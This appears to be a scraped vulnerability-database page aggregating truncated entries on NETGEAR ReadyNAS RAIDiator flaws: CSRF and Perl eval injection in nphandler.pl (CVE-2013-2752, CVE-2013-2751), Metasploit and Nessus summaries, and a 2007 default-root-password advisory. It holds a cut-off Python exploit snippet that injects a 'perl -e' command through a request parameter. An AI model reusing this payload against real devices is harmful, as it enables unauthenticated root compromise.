CVE-2013-2752

Cross-site request forgery CSRF vulnerability in frontview/lib/nphandler.pl in NETGEAR ReadyNAS RAIDiator before 4.1.12 and 4.2.x before 4.2.24 allows remote attackers to hijack the authentication of users...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in frontview/lib/nphandler.pl in NETGEAR ReadyNAS RAIDiator before 4.1.12 and 4.2.x before 4.2.24 allows remote attackers to hijack the authentication of users...

CVE-2013-2752

Cross-site request forgery CSRF vulnerability in frontview/lib/nphandler.pl in NETGEAR ReadyNAS RAIDiator before 4.1.12 and 4.2.x before 4.2.24 allows remote attackers to hijack the authentication of users...

CVE-2013-2751: Improper Control of Generation of Code

Eval injection vulnerability in frontview/lib/nphandler.pl in the FrontView web interface in NETGEAR ReadyNAS RAIDiator before 4.1.12 and 4.2.x before 4.2.24 allows remote attackers to execute arbitrary Perl code via a crafted request, related to the "forgot password workflow."...

CVE-2013-2752: Cross-Site Request Forgery (CSRF)

Cross-site request forgery CSRF vulnerability in frontview/lib/nphandler.pl in NETGEAR ReadyNAS RAIDiator before 4.1.12 and 4.2.x before 4.2.24 allows remote attackers to hijack the authentication of users...

PT-2013-3913

Name of the Vulnerable Software and Affected Versions NETGEAR ReadyNAS RAIDiator versions prior to 4.1.12 NETGEAR ReadyNAS RAIDiator versions 4.2.x prior to 4.2.24 Description A cross-site request forgery CSRF issue allows remote attackers to hijack the authentication of users. This is due to a...

NETGEAR ReadyNAS Perl Code Evaluation Vulnerability

This Metasploit module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The vulnerability exists on the web fronted, specifically on the nphandler.pl component, due to the insecure usage of the eval perl function. This Metasploit module has been tested successfully on a NETGE...

NetGear ReadyNAS code execution

Web interface commands injection...

Netgear ReadyNAS Remote Command Execution

!/usr/bin/env python import sys from requests import get '''Lazy exploit is lazy''' def pwnlocal,remote: res = get'http://%s/nphandler/'%local,params='PAGE':'Nasstate','OPERATION':'get','SECTION':'perl -e 'use...

NETGEAR ReadyNAS Remote Unauthenticated Command Execution

The remote NETGEAR ReadyNAS device is affected by a flaw in the nphandler.pl script that allows an unauthenticated, remote attacker to execute arbitrary commands with root privileges. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if...

NETGEAR ReadyNAS Perl Code Evaluation

This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The vulnerability exists on the web front end, specifically in the nphandler.pl component, due to an insecure usage of the eval perl function. This module has been tested successfully on a NETGEAR ReadyNAS 4.2.23...

Default Root Password in Infrant (now Netgear) ReadyNAS "RAIDiator"

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Security Advisory Default Root Password in Infrant now Netgear ReadyNAS "RAIDiator" Release Date: August 13, 2007 Authors: Brian Chapados [email protected] Felix Domke [email protected] Timeline: Jul 25, 2007 - discovery Jul 29, 2007 - vendor...

NetGear ReadyNAS RAIDiator default password

There are 3 default account, one of which is undocumented with root access...

CVE-2007-4361: Undefined Security Weakness

NETGEAR formerly Infrant ReadyNAS RAIDiator before 4.00b2-p2-T1 beta creates a default SSH root password derived from the hardware serial number, which makes it easier for remote attackers to guess the password and obtain login access...